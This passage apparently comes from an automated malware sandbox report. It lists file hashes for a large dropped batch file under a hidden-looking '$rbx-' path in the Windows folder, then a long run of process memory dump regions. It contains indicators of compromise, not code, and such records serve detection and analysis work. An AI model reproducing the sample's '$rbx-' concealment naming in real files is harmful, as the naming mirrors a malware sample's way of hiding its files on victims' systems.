                                                                                                                                                MD5

                                                                                                                                                b943a57bdf1bbd9c33ab0d33ff885983

                                                                                                                                                SHA1

                                                                                                                                                1cee65eea1ab27eae9108c081e18a50678bd5cdc

                                                                                                                                                SHA256

                                                                                                                                                878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

                                                                                                                                                SHA512

                                                                                                                                                cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

                                                                                                                                              • C:\Windows\$rbx-onimai2\$rbx-CO2.bat

                                                                                                                                                Filesize

                                                                                                                                                7.2MB

                                                                                                                                                MD5

                                                                                                                                                b052451fc18d2a15c1d83312b55d09a3

                                                                                                                                                SHA1

                                                                                                                                                81ed7f80a894ceaca01153920d3b5e73f593d6a5

                                                                                                                                                SHA256

                                                                                                                                                adf4074b727b1f4914e3d1bd154f5d8672d16688960a77d4262e2c620cf7f890

                                                                                                                                                SHA512

                                                                                                                                                9102cea466aa291c2df1a4f2d69d4cfe71ef7c7dd048f17719757ed317e80b192337894d59c04fdb95c9c92fc1b0568f2049960ee927bc66d6b421e089a8a659

                                                                                                                                              • memory/244-29-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/244-26-0x00007FFC77B00000-0x00007FFC77D09000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                2.0MB

                                                                                                                                              • memory/244-19-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/244-20-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/244-23-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/244-21-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/244-27-0x00007FFC77030000-0x00007FFC770ED000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                756KB

                                                                                                                                              • memory/244-25-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                32KB

                                                                                                                                              • memory/392-79-0x000002BE1AD70000-0x000002BE1AD9A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/636-32-0x0000011CFCC50000-0x0000011CFCC74000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                144KB

                                                                                                                                              • memory/636-43-0x0000011CFCC80000-0x0000011CFCCAA000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/636-33-0x0000011CFCC80000-0x0000011CFCCAA000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/636-34-0x0000011CFCC80000-0x0000011CFCCAA000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/636-45-0x0000011CFCC80000-0x0000011CFCCAA000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/636-44-0x00007FFC37B90000-0x00007FFC37BA0000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                64KB

                                                                                                                                              • memory/636-39-0x0000011CFCC80000-0x0000011CFCCAA000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/636-40-0x0000011CFCC80000-0x0000011CFCCAA000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/636-41-0x0000011CFCC80000-0x0000011CFCCAA000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/636-42-0x0000011CFCC80000-0x0000011CFCCAA000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/684-60-0x00000243C9970000-0x00000243C999A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/684-56-0x00000243C9970000-0x00000243C999A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/684-49-0x00000243C9970000-0x00000243C999A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/684-54-0x00000243C9970000-0x00000243C999A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/684-55-0x00000243C9970000-0x00000243C999A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/684-59-0x00007FFC37B90000-0x00007FFC37BA0000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                64KB

                                                                                                                                              • memory/684-58-0x00000243C9970000-0x00000243C999A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/684-57-0x00000243C9970000-0x00000243C999A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/976-69-0x00000281AEB40000-0x00000281AEB6A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/976-74-0x00007FFC37B90000-0x00007FFC37BA0000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                64KB

                                                                                                                                              • memory/976-75-0x00000281AEB40000-0x00000281AEB6A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/976-70-0x00000281AEB40000-0x00000281AEB6A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/976-71-0x00000281AEB40000-0x00000281AEB6A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/976-72-0x00000281AEB40000-0x00000281AEB6A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/976-73-0x00000281AEB40000-0x00000281AEB6A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/976-64-0x00000281AEB40000-0x00000281AEB6A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                168KB

                                                                                                                                              • memory/1536-2346-0x000002A56B0A0000-0x000002A56B0AE000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                56KB

                                                                                                                                              • memory/3372-2751-0x000002CC5F740000-0x000002CC5F752000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                72KB

                                                                                                                                              • memory/3372-2752-0x000002CC67870000-0x000002CC678AC000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                240KB

                                                                                                                                              • memory/3372-1933-0x000002CC801E0000-0x000002CC803A2000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                1.8MB

                                                                                                                                              • memory/3372-1932-0x000002CC7FF50000-0x000002CC80002000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                712KB

                                                                                                                                              • memory/3372-1931-0x000002CC677E0000-0x000002CC67830000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                320KB

                                                                                                                                              • memory/3372-1766-0x000002CC00660000-0x000002CC00DCE000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                7.4MB

                                                                                                                                              • memory/3540-16-0x00007FFC77B00000-0x00007FFC77D09000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                2.0MB

                                                                                                                                              • memory/3540-1107-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB

                                                                                                                                              • memory/3540-12-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB

                                                                                                                                              • memory/3540-1016-0x00007FFC56A93000-0x00007FFC56A95000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                8KB

                                                                                                                                              • memory/3540-1049-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB

                                                                                                                                              • memory/3540-11-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB

                                                                                                                                              • memory/3540-10-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB

                                                                                                                                              • memory/3540-857-0x000001347A0D0000-0x000001347A442000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                3.4MB

                                                                                                                                              • memory/3540-18-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB

                                                                                                                                              • memory/3540-13-0x0000013471700000-0x0000013471746000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                280KB

                                                                                                                                              • memory/3540-0-0x00007FFC56A93000-0x00007FFC56A95000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                8KB

                                                                                                                                              • memory/3540-17-0x00007FFC77030000-0x00007FFC770ED000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                756KB

                                                                                                                                              • memory/3540-9-0x0000013471290000-0x00000134712B2000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                136KB

                                                                                                                                              • memory/3540-15-0x0000013479A70000-0x0000013479EB6000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4.3MB

                                                                                                                                              • memory/3540-14-0x0000013458A20000-0x0000013458A5A000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                232KB

                                                                                                                                              • memory/3540-28-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                10.8MB